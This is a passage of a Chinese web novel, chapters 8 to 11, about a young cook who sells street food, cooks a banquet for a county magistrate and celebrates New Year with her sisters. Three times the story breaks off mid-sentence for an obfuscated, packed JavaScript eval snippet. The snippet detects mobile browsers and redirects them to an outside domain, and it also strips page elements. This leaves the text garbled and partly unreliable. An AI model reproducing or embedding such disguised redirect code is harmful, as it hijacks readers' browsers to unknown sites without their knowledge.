盖子一掀开，酸辣的香气扑面而来。 不少买了鸡蛋灌饼的人，当即就要一碗配着吃。 圆圆的竹节碗深且大，这一碗里稠的不比稀的少。 竹子都是萧仁禹进山砍的，个个削成了平滑的碗状。 蓝锦笑盈盈的：“酸辣汤可是吊了骨汤的，配着吃连饼都更香。” 果真，溜着碗边一吸，滑溜溜的嫩豆腐、山菇丝和木耳丝直往嘴里钻，还有几簇蛋花。 且酸且辣，醋味逼出别样鲜，熨帖，开胃。 有只买了猪油酥饼的小娘子，直接拿饼蘸着汤吃，也是得宜，真个丰俭由人。 刚来出摊就有这么好的生意，在大集上摆了好些年的包子李坐不住了。 8. 第8章 “管事，您看，就是她们，把集市上的路都堵着了。这不得给您两份孝敬？”包子李笑得十分殷勤。 山羊胡管事翘起下巴：“还真是，起码占了两块摊子！” 别说两份孝敬了，他一份也没收到。 “哎哎，那边的小摊，弄得这一片乌烟瘴气的。你交租子了吗？” 山羊胡拨开众人：“别卖了，这驴车得上交。” 蓝锦可没听说过这样的道理。她支摊车前，明明还去村长家问过。 按理说这大集不过是村民自发集合做买卖的地方，哪有收租子的事。 “别欺我不知道，往日我不是没摆过摊，怎么今天就要收租子？” 山羊胡收了包子李的好处，当然不会松口：“哎，你现下带了锅，带了灶，又是油又是烟的，不交钱就滚。” 蓝锦一指对面的包子摊，“那边也是有锅有灶，他给钱了吗？” 包子李抢白：“我家没油烟，还不像你这堵路。人都是买了就走，管饱就行，哪像你这那么多花花肠子。” 蓝锦笑了：“那是生意不好，没人来吧？从没听说谁生意做得好，反而要被赶走。” 然而山羊胡不听她辩白，连扯带拽，硬把驴车拖走了。 蓝锦看小秋心疼她的毛驴朋友，心疼得眼泪都要出来了，也就撒开手，不跟他抢夺。 她抱着夺下来的锅，反而扬起笑脸。 “诸位，过了这村可没这店了，仅剩的鸡蛋灌饼和酸辣汤，卖完就没有了！” 众人更加激动了，奔走相告上前哄抢。 摊车被抢走了，包子李的小铺还是无人问津。 那些客人竟然情愿买为数不多的鸡蛋灌饼，两人抠搜地分着吃，都不愿来买他家管饱的包子！ “好吃，人还是得吃点好的。吃过这个，再去吃那些猪食，我下不了嘴。” “可不是，往常大集上哪有这样的好东西。净是些腥气又干柴的肉包子，噎挺！” “嘿嘿，我也愿吃点细糠。” 包子李气不打一处来，想着蓝锦做不了新的了，卖完也就消停了。 可谁知她不知打哪摸出来一张纸，醒目地写上：“小摊被收，上门做菜！” 这是小秋贡献的纸笔，她现在书包不离身，俨然一个小书生。 他倒要看看是哪个冤大头，愿意请她这个村妇去做菜！ “红糕娘子，红糕娘子！真是你啊！” 阿红被留在了这里，没有随主家上任。她领了任务，来集市上寻人。 这事还要从她买山楂糕那天说起。 “老爷，路还没通吗？” “着什么急，权当是休沐，上官也指摘不了。” “休沐？缺衣少食的。今天你儿子为一口甜糕，搁外头撒了好几个时辰的泼。” 这位即将上任的卢县令毫不在意，哭就哭呗，累了就不哭了。 从外头回来，他也乏了，信手拿起桌上的一块红糕放进嘴里。 这是什么东西？太好吃了！ “你真是饿了，沾了小儿口水的，也吃得下去！” 这是她好不容易虎口夺食抢下来的。 再喜欢的东西，睡前吃多了也不好克化。留下这一块半，好说歹说让今哥儿明日再吃。 卢县令倒慷慨，只把完整的一块递给陆初芸： “你尝尝，你尝尝，你吃了就知道！” 陆初芸半信半疑接了。自家丈夫是再刻板老派不过的人，什么时候爱跟小儿抢食了？ 一送入口中，她立时就懂了。 天然的酸香在口腔中迸发，她险些包不住口水。糕体细腻得不行，口感极好。待要再细品那甜香，竟全化了。 别说自家小胖子，就是她，也忍不住一口接一口。 夫妻二人默默对视一眼，不自控地把手里的红糕吃完了。 陆初芸再说不出这是乡野粗物。 “啊！啊！！大人都是骗子，是大骗子！呜呜呜......” 第二天，别的事忘性极大，偏偏在甜糕这事上天赋异禀的马蜂窝，声嘶力竭地爆炸了。 “小娘子要给人上门做菜？这可太好了！”阿红气喘吁吁，眼神晶亮。不卖糕，这样却更好。 “我家夫人要我务必找到小娘子，不拘多少钱。” 包子李已经嫉妒得发酸了，等他听到下面的话，面容更是扭曲。 “只不过，路途远了点。我们主家是万年县的县令，还得劳烦您随我走一趟，小娘子放心，报酬都好说。” 蓝锦心里乐开了花，因祸得福，意外之喜！ ** 颠簸的山路上，蓝锦瞥了一眼对面满脸冷肃的萧仁禹。 说了她自己能行，非要跟来。 蓝锦看他就是想逃避做腌菜。 腌菜可重要了，吃鸡蛋灌饼的客人们，哪一个不愿夹上一点，添个滋味。 这人，傲慢得跟个花孔雀似的，什么也不懂。 “红糕姐姐，红糕姐姐！”今哥儿抛下摇篮里吐泡泡的妹妹，高兴地往回廊里来。 蓝锦在家就做了些山楂糕和酸枣糕，见状就掏给他。 今哥儿得了仆妇允准，抠一小块给妹妹，看她酸得皱眉，还砸着嘴跟他要。 大老远来了一趟，只为着糕点，太不像话。 何况卢县令一心认为蓝锦能做出好糕，定能做出好菜，当下就让她给宴席添道菜。 蓝锦看了眼厨房的富裕配置，心中有了主意。 葱姜洗净切末，香菇切片，洗净的鸡改刀。 庖丁解牛一般，划口，掰关节，割鸡皮，拆下完整的鸡腿，一番动作行云流水。 剁胸膛，砍鸡架。慢养的走地鸡，脂满肉香，金黄的鸡油十分肥美，不见腥气。 焯了水就换小火炖上，溜达鸡的荤香咕嘟不停。 蓝锦给香菇片做个独家处理，加了油和葱姜，拌匀，上锅蒸。这样的香菇，吃起来油润饱满，唇齿留香。 鸡肉慢炖了一个时辰。一揭开锅，浓郁扎实的肉香一下子充满整间屋子。 厨房的人都瞪大了眼睛。他们留着不走，纯是想看笑话。乡下村妇，也值得巴巴请来砸他们饭碗？ 蓝锦不怕他们看，一举一动皆有章法，已叫人无法小觑。 李厨子是这群人的头目，只道：“看着好，吃着不一定有味。” 旁人附和：“主家还是爱吃您做的菜。” 李厨子满脸骄矜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541951|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝锦都当没听见，手脚利落地捞出鸡肉，不顾烫手，开始拆鸡骨。 萧仁禹倒看不下去了，不情不愿地上前帮她拆。 蓝锦就罢了手，从锅里舀了几勺金黄滚烫的鸡汤出来，泡香菇和蒸香菇的水也滤出来。 这些都放进锅里，撒盐搅匀，点上勾人馋虫的芝麻油。 萧仁禹挑嘴归挑嘴，那一身腱子肉倒不是摆设，打下手又快又得用。 蓝锦把匀称的净鸡肉，整齐码在蒸好的香菇片上。浇入刚才拌匀的鸡汤，再上锅蒸。 眼看火候差不多了，鸡肉和香菇汁水交汇，香气浓烈。 蓝锦端出盘子，小心倒出汤汁过滤一遍。滤好的汤汁更加明净澄澈，再倒回锅里收浓。 撒盐，调水淀粉勾芡，直熬煮得香浓幼滑，再热热地淋在蒸好的鸡肉上。 匀整白嫩的鸡肉铺在黑白的香菇片上，顶上有青绿打卷的细葱丝。 香菇吸油，荤素鲜香相融相辅。 这道香菇柴火鸡上了桌，宴席上像炸了锅。酒酣耳热的大人物们齐下筷： “还是卢大人懂吃，食不厌精，脍不厌细，最得圣人精义啊！” “若不是卢大人相邀，我们哪能见识到这种手艺。我往常吃的，都粗鄙了，粗鄙了。” 饶是有捧的成分在，但精光的盘子骗不了人。 连卢县令家的公子，都跑过来要了一大块鸡肉，吃得津津有味。 其实蓝锦专给他和娘亲做了一整份，但他等不及回房了。 有两位同年私下小声议论：“卢县令莫非是从外地请的厨子？没听说县里有这等妙手啊？” 宴席上的盛况，还有这些闲话，叫李厨子的徒弟学给他听。直把他鼻子都气歪了，偏还没法子。 卢县令倒是心情舒畅，眉毛都飞了起来。谁说他打不入新地方？随便一出手，场子立刻热了。 他对蓝锦也是慷慨，还询问她要什么报酬。 蓝锦没要别的，只请求在落霞村惯用的大集上，批下一个专门的热灶小摊区。 这本就有利民生，也是他管辖范围内的事，他没犹豫就答应了。 拿着陆初芸给的三两银子，蓝锦春风得意地出门了。这钱都够买块地了！ 她一时看看杂耍摊子，一时瞟一眼胭脂铺子。 最后还是只给小秋买了一串糖葫芦，和一只大大的凤凰糖画，一路小心地举回家了。 小秋兴奋地一手一串，左舔舔，右舔舔。 姐姐对她那可是一等一的好，出远门赚钱，还给她带好吃的。 学堂里的同窗，任谁也没有她这个待遇。 也没她姐姐会赚钱！ 她看一眼仍旧板着脸，像个冰山一样的萧仁禹： “姐姐要攒钱，让我们过好日子的！你跟我不一样，我可是我姐姐的妹妹，她才给我买的。” “要不，给你舔一口，不要咬。” 萧仁禹眉头皱得更深，把脸偏过去了。 小秋高兴他不吃，收回继续道：“她虽然叫人打了你，不还给你买药了吗？我姐姐是很好的。” 小秋不知道这事不能说。 萧仁禹瞳孔地震。 好好好，好你个蓝小娘子！ 9. 第9章 “我不去给你切腌菜了。” “你爱去不去，不去就没饭吃！” 蓝锦把门一闩，拉上小秋，头也不回地走了。 这位大少爷不知哪根筋搭错了，不是他自己要做工报恩的吗？ 才几天，就撂挑子。 蓝锦来到集市，如今这里已由卢县令亲自划出一片区域，专供热锅热灶的摊贩使用。 一听说这个消息，山羊胡就极尽谄媚地找上蓝锦，毕恭毕敬还了驴车。 此前，就连村长去讨要，都吃了闭门羹的。 “小娘子大人有大量，小人有眼不识泰山。” 山羊胡本是县里一家商会行头的儿子，狗仗人势的事情做得多了。 私下收些保护费之类的，摊贩们一直敢怒不敢言。 “真不巧，我是小人，气量也小！你说你惹谁不好，偏要来惹我。” 蓝锦虽有意叫他吃个教训，也没提非分要求，就要他把恐吓大家的钱都吐出来。 她跟在山羊胡后头，一家一家走过去。 “这钱数对不对？” “够了，够了。” 没有不够的，蓝锦拿着山羊胡的荷包，随时往外抖落，只有多的，没有少的。 今日一看，集市上果然热闹多了。有更多人家背着东西出来卖货，人气也更旺。 从前好些人不敢摆摊，就因为山羊胡的苛责。带锅带灶的，不好跑啊！ 这都是托了蓝小娘子的福，是以一路走来，人人都笑得见牙不见眼：“蓝娘子来啦！” 蓝锦也扩大了经营。多亏陆初芸的三两银，她有了底气，敢买肉了！ 她要卖的，是后世风靡大街小巷的生煎包和锅贴。 三成肥七成瘦的农家黑猪，是她在生肉铺子精心挑选的。 面发得好，揉得光滑且软，这样就能做出松软细腻的生煎皮。 为了让成品含住满腹汤汁，她还专门备了肉皮冻。 鼓囊囊小气球似的生煎包刷上油，撒上芝麻搁着醒发。 薄薄的锅贴皮做的是烫面，醒发得快，蓝锦手似蝶飞，一个个地包好码齐。 “爆汁锅贴嘞~皮薄底儿脆~” “发面生煎包~肉香壳子酥~” “这不是蓝小娘子吗？今儿来得倒早，又做了什么新鲜花样？” 蓝锦拿洁白的帕子一抹手，热情地招呼： “有好点心，生煎包配咸豆浆，锅贴配甜豆浆，来不来？” “为什么生煎包就不能配甜，锅贴不能配咸？” 面前的客人满腹狐疑。 “生煎皮厚且酥，配咸很是解腻。锅贴皮薄脆，配甜很是提鲜。” “当然啦，您若是想知道究竟，全都点来尝尝，分别配一下，才是正经。” “那就各来一份！”他肚子正饿，能吃得消！ 褶着花边的锅贴皮捏得极薄，肚子却圆滚滚，馅儿大，实在。 用菜籽油热烫烫地一煎，薄薄一层脆壳金灿灿的，带了些焦褐色，蓝娘子煎得好光面。 白嫩的锅贴蘸上一点香醋，挂着棕褐的汁，一口咬进嘴里，打进高汤的肉馅便昂首阔步进了场。 带着一点咸鲜的肉汁子，满嘴松紧得宜、肉感十足的猪肉馅。 这边生煎也出锅。甫一揭开盖子，就见大圆锅里铺满了匀称漂亮的小包子。 上面撒满了黑芝麻和香葱花，香味霸道，缠着过路的每一个人不放。 咬上一口，香，酥，松，这底简直不像是煎的！ 牙齿一碰便开，带着一丝若有若无的甜味。倒比炸油酥面果子还好吃！ 而香气十足的半发面包子皮，又松软吸味。 嚼在嘴里，一半酥，一半软，中间是好大一颗汁香四溢的美味肉馅。 外脆里嫩，馅料还鲜，三文一个，特别值！ 原先包子李卖的那是什么，也敢叫猪肉包子？ 蓝锦还教大家，蘸了香醋，抑或咬开个小口，拿小勺子往里灌点醋。 更好吃了！能一连吃八个不停口。 从出摊那刻起，到收摊为止，蓝锦的摊车前一直都有忘我的食客。 投入地嘬生煎包的肉汁，或是“咔嚓咔嚓”嚼锅贴的薄酥壳。 没听说吗，蓝小娘子，那可是给县令做过饭的人，还是人家派车来请的。 在她这小摊消费，那可是跟县令老爷一个待遇！ “还有吗，还有吗？哎，你手里能分我一个吗，害，今天怎么就来晚了。”来人一拍大腿。 “不给，我才不分。” 最后还是蓝锦把自己的口粮匀给对方，这才罢休。 今天准备的几百个生煎包和锅贴，售卖一空。加上豆浆，刨去成本，差不多赚了有五百多文呐！ 比卖鸡蛋灌饼的时候，足足多了一百多文！ 蓝锦心情大好，牵着驴子，唱着歌就回了家。 开门一看，哪来的田螺姑娘，萝卜干洗净切好了，连做酱用的地蘑也剁成了碎末，新腌好的雪菜都洗净切末了。 “哟，真是奇了。萧大少这又转了性了。” 蓝锦出门时，萧仁禹虽然嘴上硬气，心里倒是没底的。 吃不到蓝小娘子做的饭，他怕呀，他相当怕！ 但高岭之花的形象不能倒。 活是要灰溜溜干完的，话是不能放软的。 “虽然有人居心不良，做了错事还枉图遮掩。但我心胸宽广，不是这些人能比的。” “虽然有人不问一声就偷东西吃，偷的还是穷得揭不开锅的我家。但我小人有小量，有本事你别吃我的饭！” “可我不像你，我承认了。再说，哪有人不问清楚状况，上来就打人。” “谁让你偷我东西，活该！” “你，不要再说那个字了，我给过很多鱼。” “谁懂你什么意思？再说，那不是报恩用的吗！” 两人相谈不欢，恶目以视，同时冷哼一声，扭头走了。 到了晚间，还是得坐在一张桌子上吃饭。 看着开心说笑的三姐妹，萧仁禹一边恶狠狠地往嘴里塞美味饭菜，一边心中默念： 就等着吧！等他假用完了，能出山了，他......他就再也不回来，让她找不着！ ** “锦娘，锦娘！这儿，是我，柳大娘。”守着家禽摊的柳如意唤着她。 蓝锦牵着小秋就去了：“大娘，怎么从前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541952|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见你来？” “这不是多亏了你嘛，从前不敢来这摆。我又不像老李头有钱交，这鸡鸭摊子，跑又不好跑。你今日不出摊？” 蓝锦是专门来买鸡的。 这一向进项不少。安琴也跟她提过，豆腐坊自从上了新品，豆渣更多了。就算要喂驴，也日日用不完。 不如再添几个活物，养大了，或吃或卖，岂不便宜。 姐妹三个一致挑了母鸡。 能吃鸡蛋，还能吃鸡肉！蓝锦还忘不了穿来这里第一次看到鸡鸭的时候，那给她馋的。 现在有条件了，亏什么都不能亏了她这张独生嘴。 柳大娘一拍手，这不正好，她只道：“还去什么别处，大娘送你，你就挑！” 蓝锦再三推拒，开玩笑，一只鸡，总也得大几十文呐。 两人拉扯半天，最后，蓝锦还是付了一百五十文的超优惠价，买了两只能下蛋的成年母鸡，和一只小公鸡。 蓝锦还能听见后来的顾客嘟囔，缘何不给自己这个价，叫恢复火爆脾性的柳大娘堵回去了。 路上碰见青苗婶子，她又是逮着蓝锦一顿夸： “锦娘赚了钱，就知道置办家当。能干，又会张罗！瞧瞧，母鸡和公鸡都买回来了。” “正好，待会去我家，我给你收拾点糠麸，喂鸡合适。” 喂鸡的活计全然轮不到蓝锦动手。 蓝锦从获赠驴车那会就发现，小秋这孩子似乎特别喜欢小动物，她简直是把动物当人一样对话。 “鸡，你吃吗？我知道，你今天心情很好！” 泛灵论，是泛灵论吧？万物有灵。她别对着花花草草说话，就不错了。 那只小公鸡，蓝锦本来想趁它肉质细嫩，宰来红烧了。啧啧，那味道，滑嫩粘糯，肯定好。 一遇上小秋可怜巴巴的眼神，蓝锦就投降了。 养着吧，有公有母，说不定哪天还能孵出小鸡。 冬日的黑夜还是冷得厉害，但蓝锦一家却不觉得难受，她们在屋里最空旷的地方刨了一个火堆。 这事萧仁禹全程亲历亲为，四周用砖石垒着，支上架子。 上头能挂小锅蒸煮，底下能烤红薯。 蓝锦像个火中取栗的毛猴，缩着身子，拿火钳子从鲜红的火焰中翻找出烤焦了的红薯。 嘴里嘶哈吹着，叫它烫得左手扔右手，来回倒腾。 安琴给她拿了布裹着。蓝锦一掰开，橙红色的红薯甜香勾人，中心软得几乎要流出蜜来。 她递给小秋，又接着从火堆里扒拉。 大家人手一个，揭掉那层黑灰的皮，吹去烫意，慢慢往嘴里送，又甜又糯。 小秋就爱吃靠近皮那里的，近乎焦褐的部分。 蓝锦也发现了，这个地方最甜了。焦化反应也足，吃起来跟焦糖似的，最能体现烤红薯的特点。 蓝锦吃得兴致盎然，还给小秋讲故事：“从前有座山，山里有座庙，庙里有个老和尚，老和尚给小和尚讲故事。说从前......” 火光照着人脸忽明忽暗，暖意在每个人身上跳跃着。 萧仁禹也有点恍惚，他好像，还从来没有经历过，这种极质朴，又极亲近，还颇具烟火气的温馨。 10. 第10章 “哼哧，哼哧，嗷——” “汪！汪汪！” 村里杀年猪了！几个壮汉按着一个蹄子乱蹬的大黑猪，旁边支起的大锅热气蒸腾。 大小狗子都来围观，狗吠声几乎盖过了凄厉的猪叫。 等蓝锦和小秋赶到，大黑猪已经转瞬即逝，变成了一块块鲜红的肥猪肉。 “锦娘来了，这些是你家的，快来领啊。” 村长格外关照，给蓝锦家分的是排骨肉，肋排和小排根根分明，骨瘦肉精。 虽不如里脊这样顶顶珍贵，却也是人人争相哄抢的部位。 穿着蓝布衣裳的婶娘小声嘟囔：“都是乡里乡亲的，凭什么就给她家这么好的肉。” 她衣角也洗得泛白，却也是最拿得出手的一件。全家就指望分年猪改善一回伙食。 阎婶子把手巾扎在头上，她知道这人没有坏心，只是今年没走什么好运道，只说给她听： “要不是蓝小娘子得了县里的机缘，让集上那吸人血的老鬼不敢造次，各家哪有如今的进项。” 现下，专门划出来的那片区域，因为少了收保护费的人，已经发展成了日日都有的早市。 “莫说是村长拍了板，我们也是打心眼里愿意给她俩分好肉，咱们家家都有好几个壮劳力，何必欺负人家。” “我也没说要欺负她呀。”布衣婶娘收了嘟囔，到底没再说什么。 知足常乐，承了人家的请，蓝锦也不想太打眼。 剩下的份额，她便只要了些猪肝凑够分量，因她什么食材都能料理得不错，尤其炒得一手好猪肝。 刚一回家，穿着粗布衣衫，也不改仙姿玉质的萧大少爷，就慢吞吞地过来找蓝锦道别。 他大哥还不算彻底没了良心，眼看着要过年了，派人告诉他野外生存告一段落，能回家了。 “咳，咳，我就要走了。” “噢。” “你连眉头都不皱一下？” “你是要回家了，又不是人没了，有什么好皱的。” 这人看着就有家有室，干个活都要人教。一看就过惯了仆婢成群的日子，哪有过年还不回家享福的道理。 又不像蓝锦她俩，两人吃饱，全家不饿。 只是奇怪得很，这人吃起饭来狼吞虎咽，跟没吃过饱饭似的。 最一开始，还端端架子，半开优雅樱桃口。不出一顿饭，全然换成另一副面孔。 待人接物也谦逊有礼，让人人都觉如沐春风。 不像那种以势凌人的大家子弟。偏偏对她，嘴硬不饶人。 “我若走了，便没人给你切腌菜了。” “我自己会切，切得还比你好。” “我切得比你快。” 这倒是，他彷佛很擅长用刀。不过，这又怎样。 “我切得比你齐！” 好胜的两人又把分别的气氛破坏殆尽。 萧仁禹满腹怨气，偏偏面上还是那样不动如山。门房一报说他的归讯，拄着虎头杖的祖母就急忙迎上来： “可怜的禹哥儿，听说叫大郎给扔山里了？吃得不好吧，看这小脸，都......” 胖了，胖了整整一圈。 挑食的禹哥儿，自出生起就没这么白胖过。 ** 伴着村里的炮竹声，蓝锦洗洗剁剁，烹油浇汁，没过多久就整治好了一桌硬菜。 一道红烧排骨，糖色炒得极好，浓油赤酱，汁亮芡滑。 挂着黏糊汤汁，正好适合拌饭。 一道嫩炒猪肝，青红辣椒托着绛红色的猪肝片，油汪汪，嫩生生，青蒜苗混合着肉香。 爆炒出来的锅气霸道极了，辣得刺激，直往人鼻子里钻。 一道干蒸小排，焦黄的排骨肉铺满盘底，上撒青绿小香葱花。 盘底早已没了水分，刚出锅，热油还在滋滋冒泡。 两份排骨菜，一样顾着满口流油、脑满肠肥的满足感，一样顾着调味精准、质地娇嫩的火候功夫。 猪肝虽不算金贵，也是好东西，后世许多人偏爱一道猪肝汤，思量它大补气血。 蓝锦更爱热烘烘一炒，炒得个挂汁入味，特别能彰显下厨人的本事。 小秋拍着手，安琴摆筷子。家里光景越来越好，一个显著改变就是，她们吃上白米饭了。 这可是原先想都不敢想的事。可如今，她们甚至能就着肉吃！ “好烫好烫好烫，快起开！”蓝锦把盘子往桌上一搁，嘶哈着去捏自家耳垂。 院里的毛驴也闻得香味，“呼哧，呼哧”地把长毛脑袋往屋里塞。 “驴，驴，你别来，去鸡窝里守着我的小鸡！外头黑，她们没有你陪着，会害怕的。” 小秋一手拿着筷子，还摆着小胳膊驱赶。 “哎哟，今儿没做豆腐，真忘了给它喂豆渣，怪不得饿得猴急。”安琴两手往腿上一拍，急急出去要给它抱些干草。 姐妹三人齐齐放下筷子，又急急赶回来。她们家的年夜饭，简直叫人等不了一刻。 几人率先伸向那嫩炒猪肝，这可是火候菜，锅气正浓时味道最佳。 吃起来只觉嫩中带脆的，油香滑溜。跟吃豆腐似的，一点腥膻都没有。 没有血味就罢了，难得，一点都不见老。咸，辣，够味，好吃！ 大家急急咀嚼，“嗯”个不停，来不及开口说话，筷子一拐弯又去夹那红烧排骨。 亮津津的贴骨肉还带了点弹性。迫不及待地放进嘴里，油滋滋的，烂乎，不柴，香得扎实！ 干蒸小排也香极了，嫩得紧，却还很入味。 小秋先嚼后抿，把个骨头都嗦了又嗦，直到连狗都不愿去啃的程度。 最后是安琴拦住还要忙活的蓝锦，收拾碗盘，去灶间把锅碗刷了。 让做饭的人洗碗，这可不是公道事。家里捡来的壮劳力走了，那也不能全让锦娘忙活。 仍能做甩手掌柜的蓝锦，拉着小秋，在火堆旁转着圈烤手。 “阿姐，明日我们真去县城玩吗？” “当然，阿姐肯定说话算数，县城可好逛了，听人说正好有庙会，不光有说书人，还有唱戏的。” 小秋如今跟青苗婶子家的大丫混得熟。她如今个子长起来了，比大丫高上一点。 于是两个小萝卜头，矮的那个成日追着高的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541953|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个跑：“阿姐！阿姐！” 一二来去，小秋也管蓝锦叫“阿姐”，彷佛这样就更亲热，蓝锦也叫她拐得顺了嘴。 安琴却不愿去：“一年走到头，我现下可累得只想睡觉。” 好罢，睡便睡吧。 蓝锦把小秋抱上驴车。小粉团子手里还攥着一个红色的风车不放。 路上有风，正好看风车滴溜溜地转。 她穿着大红团花小袄，蓝锦兑现了承诺，真给自家宝宝买了个红色衣衫。 圆鼓鼓的袖子缀着一圈白绒边，头上的双丫髻垂下两根红带子。随着动作，在脑袋上晃来晃去，好不可爱。 蓝锦也打扮得隆重，身着石榴红的袄裙，木簪子挽了双鬟髻。和小秋一样，小脸粉扑扑的。 两姐妹往村口走，一路上格外打眼，窃窃私语声就没停过。 “村西头那家真弄到钱了。人家不像我们！成天土里刨食，不懂花花肠子。” “前阵子，大的小的，穿的布鞋都破着口子。这才多少时日啊！” “可她家的吃食是真好吃啊，啧啧。人长得也好......” “别说这话！你忘了，她怎么整治张媒婆的？可泼得很。” 蓝锦无语。闲来无事生怪音，冬日村里就是这点不好。 总有些人恨不得扒人家床底偷窥私隐。过日子找不到自己的位置和奔头，就枉图和别人比一比。 这些都是他们自家的烦恼，别想来削弱她的幸福感。 蓝锦一拉驴嚼子，高声道：“走啦！去玩啦！” 驴啼哒哒，轱辘隆隆，把好事之人的闲话全都抛到脑后。 县城里果然热闹得多，张灯结彩的，商户也挂上大红对联和红纱灯笼，有几户还有虎头虎脑的花灯。 糖人摊前围满衣着光鲜的孩童，小锅上熬煮着麦芽糖，黏稠热烫，甜香味比说笑声还汹涌。 “阿姐，真有唱戏的！” 其实不是唱戏的，是木偶戏。鼓乐阵阵的，正说着猴子取经的故事。 小秋不一会就看得入了迷。蓝锦也觉津津有味，古早的《西游记》源头故事，也是同样有趣。 卖芝麻酥糖的小贩捧着小匣子，在人群中灵活穿梭。蓝锦买了一份，又要了一份桂花糖糕。 卖家心思细巧，秋日里收集的干桂花，细心储存起来，拌上糖蜜，别有滋味。 木头小戏台上，偷穿人族铠甲的小猴子腾空跃起，拿尾巴倒挂在桃树上。 小秋眼睛睁得溜圆，手中的糖人都忘了舔。 咿呀戏腔传来：“花果山猴子王，偷吃仙桃捅破天——” 孩童们拍手叫好，大人们也跟着咧嘴。 “阿姐，猴子真的会说话，还会偷桃子吗？” “他们会说猴子话，就跟你能听懂我，我能听懂你。” “噢！猴子也有阿姐，也能吃上好东西，过上好日子！” 蓝锦笑了。猴子看她们，估计也跟她们看猴子一个感觉吧？ 舞狮摊子旁边有卖热茶汤的，那铜锅上头，也有一个栩栩如生的狮子头。 姐妹俩牵着驴车，在一家孔明灯小摊前停住了脚步。 11. 第11章 “我希望永远和阿姐在一起，一起吃饭，一起睡觉，一起卖吃的！” 小秋双手合十，学着安琴的样子，念念有词。 孔明灯一经点燃便受热起飞，在黑沉的夜空里发出暖黄的光。 姐妹三人各放飞一个，低头许愿。 蓝锦没有什么大奢求，让日子像现在这样安安稳稳就好。有人相陪，也有奔头。 她前世，其实没和家人过过年。孤儿院的院长婆婆会给她们每人发一碗素饺子。 说是孤儿院，其实是丁如英婆婆一手办的。她退休后，就四处救助被人抛弃的孩子。 有医院后门的，有河里的，有山坟地里的。都是女婴。 今晚，她也要和自己的亲人一起包饺子吃。 她们在某种程度上，也是上天送她的礼物了。 蓝锦和好了面，盆光、面光、手光。盖上醒发着，去调饺子馅。 绿生生的小青菜洗净切碎，挤干净水，撒了点盐拌匀，在盆里放着浸味。 肉乎乎的香菇去蒂切碎丁，胡萝卜、粉条、豆干也是这般切。 或许是孤儿院的记忆情感作祟，蓝锦始终觉得，素馅饺子比肉馅饺子好吃得多。 她取来蘑菇粉。蘑菇是去后山采的，在火上焙得干干的，用杵臼磨成粉，就是纯天然的味精了。 这还是萧仁禹做的。少了这个壮劳力，还真有些不习惯。 蓝锦起个热油锅，颠锅控火，把香菇碎、胡萝卜碎过油炒一下。 如此便能激发出别样的香味，吃起来不输肉食。 她还煎了蛋皮，切丝切丁，薄厚得宜，咸香味美。 满盆碎丁五颜六色的，她逐次撒盐、糖、姜末和蘑菇粉调味，再点缀几滴芝麻油，拌拌匀。 “好香啊。”蓝锦一回头，门框边冒出两个小圆脑袋，“现在可以吃吗？” “来一起包，包了就能吃。”蓝锦招呼小秋和大丫。 这大丫也挺逗，顶爱来她们家玩耍，总夸她家好看。 蓝锦利落地取出面团，撮条切块，在面粉上一滚，擀成圆圆的饺子皮。 安琴也加入，人多手快，满桌的饺子个大馅满。 小秋包了几个就走了神，拿面团捏小猫，捏小猪，还捏了一个花脸驴。 蓝锦都给她留下，掺进去一点白糖馅，上锅蒸上，都留给她自己吃。 等锅里烧开了水，便把小白船一样的饺子挨个滑进锅里。 圆脑袋们复又围住灶台，就等着饺子个个浮起，胖肚里的馅料透出颜色。 蓝锦倒上几碟醋，安琴还往自己那份里点了些酱油。 大丫有家不愿回，叫青苗婶子找上门来，好说歹说，抱着一碗饺子跟娘亲家去了。 出自蓝锦之手的饺子，个个都是饱满的胖元宝。夹起一个来，沉甸甸的，饺子皮都不带凹陷的。 安琴盯着看了许久，一蘸酱汁，整个放进嘴里，蛋皮弹嫩，各色菜蔬鲜香，越嚼越有味道。 “唔！好吃。” 她往常也没有过年吃饺子的习惯，如今一试，简直愿意日日吃。 明明都是普通的菜色，普通的面粉，普通的调料，缘何一裹一煮，就能产生这样前所未有的滋味。 要蓝锦说，饮食文化的特别，就特别在此处。同样的食材，叫不同地方的人做出来，都各有风味。 每一种吃食，都有它存在的意义。 所以她从不搞美食的地域偏颇，最能以包容的心态，看待一切吃过没吃过的食物。 鲜美的饺子填饱了三姐妹的肚子，这还不算完。蓝锦收拾锅灶，端出一早就备好的萝卜丝面糊。 小秋踩在宽板凳上，站得高高的，拿着家里最长的一根大勺，伸到油锅上头，往里头划着圈倒面糊。 